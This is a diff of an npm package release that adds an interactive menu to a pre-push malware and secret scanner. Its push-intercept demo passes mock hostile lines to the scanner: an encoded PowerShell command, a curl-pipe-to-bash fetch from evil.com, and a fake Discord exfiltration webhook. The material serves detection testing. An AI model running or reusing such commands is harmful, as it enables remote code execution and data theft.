@arifbiswas/git-pre-push 1.0.6 โ†’ 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -42,15 +42,38 @@ npm install -D @arifbiswas/git-pre-push
42
42
 
43
43
  ---
44
44
 
45
- ### Option 2: Instant Setup via npx (Zero Installation)
45
+ ### Option 2: Instant Interactive Menu via npx
46
46
 
47
- In any Git repository, run:
47
+ Run without arguments to open the interactive selection dashboard:
48
48
 
49
49
  ```bash
50
- npx @arifbiswas/git-pre-push init
50
+ npx @arifbiswas/git-pre-push
51
51
  ```
52
52
 
53
- Your repository is immediately protected.
53
+ Or if installed globally (`npm i -g @arifbiswas/git-pre-push`):
54
+ ```bash
55
+ gitsafty
56
+ ```
57
+
58
+ ```text
59
+ ================================================================
60
+ ๐Ÿ›ก๏ธ GitSafty: Pre-Push Malware & Secret Guard
61
+ ================================================================
62
+
63
+ Select an action to perform:
64
+
65
+ [1] ๐Ÿ›ก๏ธ Install Local Hook - Protect current repository
66
+ [2] ๐ŸŒ Install Global Hook - Lock down ALL git repos across this PC
67
+ [3] ๐Ÿ” Scan Local Workspace - Audit staged & untracked files for threats
68
+ [4] ๐Ÿš€ Scan Remote GitHub Repo - Zero-clone audit (no download/clone)
69
+ [5] ๐Ÿงน Clean & Quarantine - Remove temp_*_push.bat & trojan scripts
70
+ [6] โšก Run Push Intercept Demo - Simulate a blocked malware push
71
+ [7] ๐Ÿค– Setup GitHub Action CI - Guard repository on GitHub server-side
72
+ [8] โŒ Uninstall Hook - Remove pre-push hook
73
+ [0] ๐Ÿšช Exit
74
+
75
+ Enter your choice (1-8, 0 to exit):
76
+ ```
54
77
 
55
78
  ---
56
79
 
package/bin/cli.js CHANGED
@@ -3,14 +3,19 @@
3
3
  const { runPrePush, runManualScan, installHook, uninstallHook } = require('../src/index');
4
4
  const { cleanInfectedFiles } = require('../src/cleaner');
5
5
  const { setupGitHubAction } = require('../src/action');
6
+ const { runInteractiveMenu } = require('../src/menu');
6
7
  const { banner, colors } = require('../src/reporter');
7
8
 
8
9
  const args = process.argv.slice(2);
9
- const command = args[0] ? args[0].toLowerCase() : 'help';
10
+ const command = args[0] ? args[0].toLowerCase() : 'menu';
10
11
  const isGlobalFlag = args.includes('--global') || args.includes('-g');
11
12
 
12
13
  async function main() {
13
14
  switch (command) {
15
+ case 'menu':
16
+ case 'interactive':
17
+ await runInteractiveMenu();
18
+ break;
14
19
  case 'scan-push':
15
20
  await runPrePush();
16
21
  break;
package/package.json CHANGED
@@ -1,11 +1,12 @@
1
1
  {
2
2
  "name": "@arifbiswas/git-pre-push",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "Zero-dependency pre-push security guard that stops malware, injected scripts, and leaked secrets from reaching GitHub.",
5
5
  "main": "src/index.js",
6
6
  "bin": {
7
- "git-pre-push": "./bin/cli.js",
8
- "git-safty": "./bin/cli.js"
7
+ "gitsafty": "./bin/cli.js",
8
+ "git-safty": "./bin/cli.js",
9
+ "git-pre-push": "./bin/cli.js"
9
10
  },
10
11
  "publishConfig": {
11
12
  "access": "public"
package/src/menu.js ADDED
@@ -0,0 +1,155 @@
1
+ const readline = require('readline');
2
+ const { banner, colors } = require('./reporter');
3
+ const { runManualScan, installHook, uninstallHook } = require('./index');
4
+ const { cleanInfectedFiles } = require('./cleaner');
5
+ const { setupGitHubAction } = require('./action');
6
+ const { scanRemoteRepositoryZeroClone, printRemoteScanReport } = require('./remoteScanner');
7
+ const { scanFilesAndDiff } = require('./scanner');
8
+ const { printReport, printBlockMessage } = require('./reporter');
9
+
10
+ /**
11
+ * Runs an interactive numbered menu in terminal
12
+ */
13
+ async function runInteractiveMenu() {
14
+ banner();
15
+
16
+ console.log(`\n${colors.bold}${colors.cyan}Select an action to perform:${colors.reset}\n`);
17
+ console.log(` ${colors.green}[1]${colors.reset} ๐Ÿ›ก๏ธ ${colors.bold}Install Local Hook${colors.reset} - Protect current repository`);
18
+ console.log(` ${colors.green}[2]${colors.reset} ๐ŸŒ ${colors.bold}Install Global Hook${colors.reset} - Lock down ALL git repos across this PC`);
19
+ console.log(` ${colors.green}[3]${colors.reset} ๐Ÿ” ${colors.bold}Scan Local Workspace${colors.reset} - Audit staged & untracked files for threats`);
20
+ console.log(` ${colors.green}[4]${colors.reset} ๐Ÿš€ ${colors.bold}Scan Remote GitHub Repo${colors.reset} - Zero-clone audit (no download/clone)`);
21
+ console.log(` ${colors.green}[5]${colors.reset} ๐Ÿงน ${colors.bold}Clean & Quarantine${colors.reset} - Remove temp_*_push.bat & trojan scripts`);
22
+ console.log(` ${colors.green}[6]${colors.reset} โšก ${colors.bold}Run Push Intercept Demo${colors.reset} - Simulate a blocked malware push`);
23
+ console.log(` ${colors.green}[7]${colors.reset} ๐Ÿค– ${colors.bold}Setup GitHub Action CI${colors.reset} - Guard repository on GitHub server-side`);
24
+ console.log(` ${colors.green}[8]${colors.reset} โŒ ${colors.bold}Uninstall Hook${colors.reset} - Remove pre-push hook`);
25
+ console.log(` ${colors.dim}[0] ๐Ÿšช Exit${colors.reset}\n`);
26
+
27
+ const rl = readline.createInterface({
28
+ input: process.stdin,
29
+ output: process.stdout
30
+ });
31
+
32
+ const choice = await new Promise((resolve) => {
33
+ rl.question(`${colors.bold}${colors.yellow}Enter your choice (1-8, 0 to exit): ${colors.reset}`, (ans) => {
34
+ rl.close();
35
+ resolve(ans.trim());
36
+ });
37
+ });
38
+
39
+ switch (choice) {
40
+ case '1': {
41
+ console.log(`\n${colors.cyan}Installing local pre-push hook...${colors.reset}`);
42
+ const res = installHook(process.cwd(), false);
43
+ if (res.success) {
44
+ console.log(`\n${colors.green}${colors.bold}โœ” ${res.message}${colors.reset}\n`);
45
+ } else {
46
+ console.error(`\n${colors.red}${colors.bold}โœ– ${res.message}${colors.reset}\n`);
47
+ }
48
+ break;
49
+ }
50
+
51
+ case '2': {
52
+ console.log(`\n${colors.cyan}Installing GLOBAL pre-push hook for all repositories...${colors.reset}`);
53
+ const res = installHook(process.cwd(), true);
54
+ if (res.success) {
55
+ console.log(`\n${colors.green}${colors.bold}โœ” ${res.message}${colors.reset}\n`);
56
+ } else {
57
+ console.error(`\n${colors.red}${colors.bold}โœ– ${res.message}${colors.reset}\n`);
58
+ }
59
+ break;
60
+ }
61
+
62
+ case '3': {
63
+ runManualScan();
64
+ break;
65
+ }
66
+
67
+ case '4': {
68
+ const askRl = readline.createInterface({
69
+ input: process.stdin,
70
+ output: process.stdout
71
+ });
72
+
73
+ const repoUrl = await new Promise((resolve) => {
74
+ askRl.question(`\n${colors.bold}${colors.cyan}? Enter GitHub Repository URL (e.g. https://github.com/owner/repo): ${colors.reset}`, (ans) => {
75
+ askRl.close();
76
+ resolve(ans.trim());
77
+ });
78
+ });
79
+
80
+ if (!repoUrl) {
81
+ console.log(`${colors.red}No URL entered. Aborted.${colors.reset}\n`);
82
+ return;
83
+ }
84
+
85
+ console.log(`\n${colors.cyan}Starting Zero-Clone In-Memory Security Audit...${colors.reset}`);
86
+ try {
87
+ const result = await scanRemoteRepositoryZeroClone(repoUrl, null, (msg) => {
88
+ console.log(` ${colors.dim}โ„น ${msg}${colors.reset}`);
89
+ });
90
+ printRemoteScanReport(result);
91
+ } catch (err) {
92
+ console.error(`\n${colors.red}${colors.bold}โœ– Scan Failed:${colors.reset} ${err.message}\n`);
93
+ }
94
+ break;
95
+ }
96
+
97
+ case '5': {
98
+ console.log(`\n${colors.cyan}Scanning workspace for injected malware scripts to quarantine...${colors.reset}`);
99
+ const cleanResult = cleanInfectedFiles();
100
+ if (cleanResult.quarantined.length > 0) {
101
+ console.log(`\n${colors.yellow}${colors.bold}โš  Quarantined ${cleanResult.quarantined.length} malicious file(s):${colors.reset}`);
102
+ for (const q of cleanResult.quarantined) {
103
+ console.log(` ${colors.red}โœ– ${q}${colors.reset}`);
104
+ }
105
+ console.log(`\n${colors.green}${colors.bold}โœ” Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).${colors.reset}\n`);
106
+ } else {
107
+ console.log(`\n${colors.green}${colors.bold}โœ” No known malware scripts found in project files.${colors.reset}\n`);
108
+ }
109
+ break;
110
+ }
111
+
112
+ case '6': {
113
+ console.log(`\n${colors.cyan}Simulating a malicious push intercept test...${colors.reset}\n`);
114
+ const mockFiles = ['src/app.js', 'temp_auto_push.bat', '.vscode/tasks.json'];
115
+ const mockDiff = `+ powershell.exe -enc SQBFAFgAIAAoAE4AZQB3...
116
+ + curl -fsSL https://evil.com/hook.sh | bash
117
+ + const webhook = "https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";`;
118
+
119
+ const result = scanFilesAndDiff(mockFiles, mockDiff);
120
+ printReport(result);
121
+ printBlockMessage();
122
+ console.log(`${colors.green}${colors.bold}โœ” Simulation Complete:${colors.reset} In a real git push, GitSafty will immediately exit 1 and reject the push!\n`);
123
+ break;
124
+ }
125
+
126
+ case '7': {
127
+ const res = setupGitHubAction();
128
+ if (res.success) {
129
+ console.log(`\n${colors.green}${colors.bold}โœ” ${res.message}${colors.reset}\n`);
130
+ } else {
131
+ console.error(`\n${colors.red}${colors.bold}โœ– ${res.message}${colors.reset}\n`);
132
+ }
133
+ break;
134
+ }
135
+
136
+ case '8': {
137
+ const res = uninstallHook();
138
+ if (res.success) {
139
+ console.log(`\n${colors.yellow}${colors.bold}โœ” ${res.message}${colors.reset}\n`);
140
+ } else {
141
+ console.error(`\n${colors.red}${colors.bold}โœ– ${res.message}${colors.reset}\n`);
142
+ }
143
+ break;
144
+ }
145
+
146
+ case '0':
147
+ default:
148
+ console.log(`\n${colors.dim}Goodbye! ๐Ÿ›ก๏ธ${colors.reset}\n`);
149
+ break;
150
+ }
151
+ }
152
+
153
+ module.exports = {
154
+ runInteractiveMenu
155
+ };